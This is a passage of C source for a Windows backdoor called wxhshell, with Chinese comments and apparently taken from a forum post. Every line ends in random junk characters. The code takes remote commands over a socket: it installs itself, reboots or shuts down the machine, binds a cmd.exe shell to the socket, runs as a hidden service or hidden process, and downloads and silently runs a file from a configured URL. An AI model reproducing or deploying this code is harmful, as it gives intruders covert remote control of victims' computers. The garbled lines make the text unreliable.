  if(DownloadFile(cmd,wsh)) nyetK  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0 9qfnQG  
  else Y"L|D,ex  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QBh*x/J  
  } /24}>oAH  
  else { v*OV\h.  
!_FTy^@c2  
    switch(cmd[0]) { cyo[HI?WM  
  XFYa+]B2q  
  // 帮助 C^;>HAK|F  
  case '?': { H+Aidsn  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =X9fn  
    break; m/"([Y_  
  } -y>~ :.  
  // 安装 <<b]v I  
  case 'i': { CF 3V)3}  
    if(Install()) IEfYg(c0U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wm}gnNwA  
    else !C h1q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G<* Iw>ep  
    break; _a f $0!  
    } P aeq  
  // 卸载 KK6fRtKv>q  
  case 'r': { 1$+8wDVwad  
    if(Uninstall()) z(>QGzyc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?T.=y m  
    else a#k7 aOT0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bL Sc=f&  
    break; z1]nC]2  
    } t0GJ$])  
  // 显示 wxhshell 所在路径 C fM[<w   
  case 'p': { M9""(`U  
    char svExeFile[MAX_PATH]; m"'} {3$%  
    strcpy(svExeFile,"\n\r"); !l=)$RJKdD  
      strcat(svExeFile,ExeFile); ]Vmo >  
        send(wsh,svExeFile,strlen(svExeFile),0); ' ,S}X\  
    break; V[uSo$k+>  
    } EZN!3y| m  
  // 重启 iPCCTs  
  case 'b': { Dk>6PBl  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); " :vEWp+g  
    if(Boot(REBOOT)) =JW-EQ6[T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +'-.c"  
    else { ]ly" K!1,  
    closesocket(wsh); 9^ZtbmUf  
    ExitThread(0); g&85L$   
    } n=bdV(?4  
    break; R"9w VM;*c  
    } D4,>g )B  
  // 关机 jeJgDAUv  
  case 'd': { E_aBDiyDf  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); YcX\t6VK  
    if(Boot(SHUTDOWN)) w3ni@'X8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,aLwOmO  
    else { "I)zi]vk  
    closesocket(wsh); }ePl&-9T  
    ExitThread(0); xE w\'tH  
    } z-606g  
    break; (Jw_2pHxr"  
    } GPK\nz}  
  // 获取shell uT4|43< G  
  case 's': { w\YS5!P,V  
    CmdShell(wsh); sqtz^K ROM  
    closesocket(wsh); #$- E5R;x  
    ExitThread(0); %:d7Ts&?Z  
    break; *>KBDFI  
  } y'`/^>.  
  // 退出 NFZ(*v1U  
  case 'x': { wCB*v<*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X<}}DZSu a  
    CloseIt(wsh); ^ls@Gr7`P  
    break; ^0}ma*gi~  
    } .{h"0<x  
  // 离开 Td|u@l4B  
  case 'q': { _ (F-(X|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); W&*&O,c  
    closesocket(wsh); $TXxhd 6  
    WSACleanup(); MhD'  
    exit(1); oT):#,s  
    break; vKG\8+  
        } ]=q auf>3  
  } 3- Kgz  
  } #`*uX6C  
QDg5B6>$  
  // 提示信息 F nA Kfh(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X3l>GeUi  
} -[L\:'Gp5  
  } P_1WJ  
pT]hPuC  
  return; Nh.+woFq4  
} #ODP+>-IjB  
2{rWAPHgz  
// shell模块句柄 't5ufAT  
int CmdShell(SOCKET sock) q!z"YpYB  
{ )=[\YfK  
STARTUPINFO si; ltNC ti{Q  
ZeroMemory(&si,sizeof(si)); 1'E=R0`pA  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Svn7.Ivep  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; d&FXndC4F  
PROCESS_INFORMATION ProcessInfo; [`\VgKeu  
char cmdline[]="cmd"; )[Tm[o?Y.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Y\]ZIvTSb  
  return 0; c| ^I}  
} nHdQe  
T7 ,]^ 1  
// 自身启动模式 dw"Es;^  
int StartFromService(void) @sLN  
{ U6M ~N0)Yr  
typedef struct OX7=g$S 1  
{ Te+(7 Z  
  DWORD ExitStatus; mAW.p=;  
  DWORD PebBaseAddress; d?*] /ZiR  
  DWORD AffinityMask; ,_e [P  
  DWORD BasePriority; gXdMGO>  
  ULONG UniqueProcessId; 0~qc,-)3  
  ULONG InheritedFromUniqueProcessId; /mex{+p>tO  
}   PROCESS_BASIC_INFORMATION; F06o-xH=  
#DUfEZ  
PROCNTQSIP NtQueryInformationProcess; s:3[#&PQpN  
{cXr!N^K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &>JP.//spi  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o P`l)`  
GTP'js  
  HANDLE             hProcess; 6'Q{xJe?  
  PROCESS_BASIC_INFORMATION pbi; {rKC4:  
x6UXd~ L e  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); SOOVUMj  
  if(NULL == hInst ) return 0; u<edO+  
WO qDW~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); a2Ak?W1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -l= 4{^pK  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); w|9 >4  
"2cOSPpQL  
  if (!NtQueryInformationProcess) return 0; FH,]'  
qbv\uYow3k  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7iP+!e}$.  
  if(!hProcess) return 0; ;qWu8\T+  
LiG$M{0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &i5@4,p y9  
vjS`;^9  
  CloseHandle(hProcess); E_ns4k#uG  
3`^@ymY  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Y9)j1~  
if(hProcess==NULL) return 0; k*$WAOJEW  
iOk ;o=  
HMODULE hMod; 8o~ NJ 6  
char procName[255];  <mn[-  
unsigned long cbNeeded; N p"p*O  
xb;{<~`71  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l0Q5q)U1A  
E-z5mX.2  
  CloseHandle(hProcess); Vu$m1,/  
bk0>f   
if(strstr(procName,"services")) return 1; // 以服务启动 pa>C}jk}6  
53i]Q;k[  
  return 0; // 注册表启动 h:aa^a~y i  
} b@Oq}^a&o  
gNCS*a  
// 主模块 =D`8,n [  
int StartWxhshell(LPSTR lpCmdLine) g:Hj1!'  
{ ~:DL{ZeEb  
  SOCKET wsl; xKUL}>8  
BOOL val=TRUE; 2%%\jlT_  
  int port=0; =]7o+L4  
  struct sockaddr_in door; p!UR;xHI\  
ALMsF2H  
  if(wscfg.ws_autoins) Install(); o2!738  
T9nb ~ P[  
port=atoi(lpCmdLine); ? :H+j6+f  
S{=5n R9j  
if(port<=0) port=wscfg.ws_port; /WN YS  
`_\KN_-%Vu  
  WSADATA data; I  C  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [HILK `@@  
FIq'W:q:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *#=Ijr~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); nfEbu4|  
  door.sin_family = AF_INET; <*( Z}p  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Kip&YB%rk  
  door.sin_port = htons(port); luoQ#1F?sl  
Aw#<:6-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _uIS[%4g  
closesocket(wsl); FZi@h  
return 1; f$lb.fy5  
} 0S{23L4C  
\L Q+ n+  
  if(listen(wsl,2) == INVALID_SOCKET) { _C !i(z!d  
closesocket(wsl); @DysM~I  
return 1; {7M++J=  
} 37hdZt.,  
  Wxhshell(wsl); a-NTA  
  WSACleanup(); }N g P`m  
Rc1j^S;>  
return 0; eCGr_@1  
N>I6f  
} :HY$x  
JS/'0.  
// 以NT服务方式启动 fL*7u\m:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N5?bflY  
{ '`jGr+K,wU  
DWORD   status = 0; :v^/k]S  
  DWORD   specificError = 0xfffffff; D3o,2E(o  
@| z _&E  
  serviceStatus.dwServiceType     = SERVICE_WIN32; dFz"wvu` o  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (:l6R9'=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; h:4(Gm;  
  serviceStatus.dwWin32ExitCode     = 0; .QvD603%5  
  serviceStatus.dwServiceSpecificExitCode = 0; F-m%d@P&X  
  serviceStatus.dwCheckPoint       = 0; DDrR9}k  
  serviceStatus.dwWaitHint       = 0; iH(7.?.r  
qAjtvc2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); SXL3>-Z E  
  if (hServiceStatusHandle==0) return; {$frR "K  
4"P9z}y=i  
status = GetLastError(); o 4F'z  
  if (status!=NO_ERROR) MPB[~#:  
{ 7b"fpB  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; | eBwcC#^  
    serviceStatus.dwCheckPoint       = 0; `J.,dqGb  
    serviceStatus.dwWaitHint       = 0; Sdq}?-&Sa  
    serviceStatus.dwWin32ExitCode     = status;  [Sm<X  
    serviceStatus.dwServiceSpecificExitCode = specificError; t'44X  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =KPmZ,/w  
    return; w"R<8e=  
  } %-n) L  
Xh"9Bcjf  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; o#qdgZ  
  serviceStatus.dwCheckPoint       = 0; j )J |'b|  
  serviceStatus.dwWaitHint       = 0; A]BeI  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]Uv,}W  
} L)'G_)Sl  
<pX?x3-'  
// 处理NT服务事件,比如:启动、停止 rL5=8l  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^Om}9rXw1  
{ L( 6b2{"  
switch(fdwControl) !f~a3 {;j  
{ R~g|w4a@sC  
case SERVICE_CONTROL_STOP: !gX xM,R  
  serviceStatus.dwWin32ExitCode = 0; \+o\wTW  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; fK/:  
  serviceStatus.dwCheckPoint   = 0; iYXD }l;r  
  serviceStatus.dwWaitHint     = 0; m212 gc0u  
  { vXKL<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p(yv  
  } tD8fSV  
  return; JH?ohA  
case SERVICE_CONTROL_PAUSE: PD&e6;rj;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !9d7wPUFr  
  break; j^jC|  
case SERVICE_CONTROL_CONTINUE: 8qe[x\,"8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; l,@>J9}Se  
  break; uaIAVBRcS  
case SERVICE_CONTROL_INTERROGATE: 0,hs %x>v  
  break; U%vTmdOY  
}; <'=!f6Wh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 971=OEyq*  
} \,;glY=M!  
NO5k1/-  
// 标准应用程序主函数 {K|?i9K  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8\{!*?9!  
{  ai 4k?  
eT%x(P  
// 获取操作系统版本 D,IT>^[^7  
OsIsNt=GetOsVer(); HlE8AbEg  
GetModuleFileName(NULL,ExeFile,MAX_PATH); J&6p/'UPZ  
p3P8@M  
  // 从命令行安装 P& 1$SWNyW  
  if(strpbrk(lpCmdLine,"iI")) Install(); w:zo \  
+yL;?+s>=  
  // 下载执行文件 zgjg#|  
if(wscfg.ws_downexe) { ;+75"=[YT  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2IYzc3Z{9  
  WinExec(wscfg.ws_filenam,SW_HIDE); g9C ; JmU  
} <)d%c%f'`  
QQAEG#.5  
if(!OsIsNt) { "%T~d[M  
// 如果时win9x,隐藏进程并且设置为注册表启动 #Y= A#Yz,{  
HideProc(); S. MRL,  
StartWxhshell(lpCmdLine); j~'.XD={  
} Hzz{wY   
else "ku[b\W  
  if(StartFromService()) H&s`Xr  
  // 以服务方式启动 9~V'Wev  
  StartServiceCtrlDispatcher(DispatchTable); !*l/Pr^8  
else }Y-V!z5z!  
  // 普通方式启动 s#7"ZN  
  StartWxhshell(lpCmdLine); #IH9S5B [  
NDRD PD  
return 0; |lhnCShw  
}
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只看该作者 1 发表于: 2006-10-10
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